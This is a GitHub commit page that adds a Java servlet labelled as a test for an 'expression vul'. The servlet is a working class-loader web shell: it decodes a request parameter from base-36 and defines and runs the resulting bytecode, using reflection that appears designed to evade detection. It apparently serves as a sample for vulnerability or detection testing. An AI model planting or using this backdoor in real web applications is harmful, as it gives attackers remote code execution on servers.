Skip to content

Commit 2d47216

Browse files
committed
test: add bigInterger for expression vul
1 parent 65513d9 commit 2d47216

File tree

1 file changed

+48
-0
lines changed

1 file changed

+48
-0
lines changed
Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
import javax.servlet.*;
2+
import javax.servlet.annotation.WebServlet;
3+
import java.io.IOException;
4+
5+
/**
6+
* @author Wans
7+
* @since 2025/08/25
8+
*/
9+
@WebServlet("/biginteger")
10+
public class BigIntegerClassLaoderServlet extends ClassLoader implements Servlet {
11+
12+
@Override
13+
public void init(ServletConfig config) throws ServletException {
14+
15+
}
16+
17+
@Override
18+
public ServletConfig getServletConfig() {
19+
return null;
20+
}
21+
22+
@Override
23+
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
24+
String data = req.getParameter("data");
25+
try {
26+
byte[] bytes = decodeBigInteger(data);
27+
Object obj = defineClass(null, bytes, 0, bytes.length).newInstance();
28+
res.getWriter().print(obj);
29+
} catch (Exception e) {
30+
throw new RuntimeException(e);
31+
}
32+
}
33+
34+
static byte[] decodeBigInteger(String bigIntegerStr) throws Exception {
35+
Class<?> decoderClass = Class.forName("java.math.BigInteger");
36+
return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX));
37+
}
38+
39+
@Override
40+
public String getServletInfo() {
41+
return "";
42+
}
43+
44+
@Override
45+
public void destroy() {
46+
47+
}
48+
}

0 commit comments

Comments
 (0)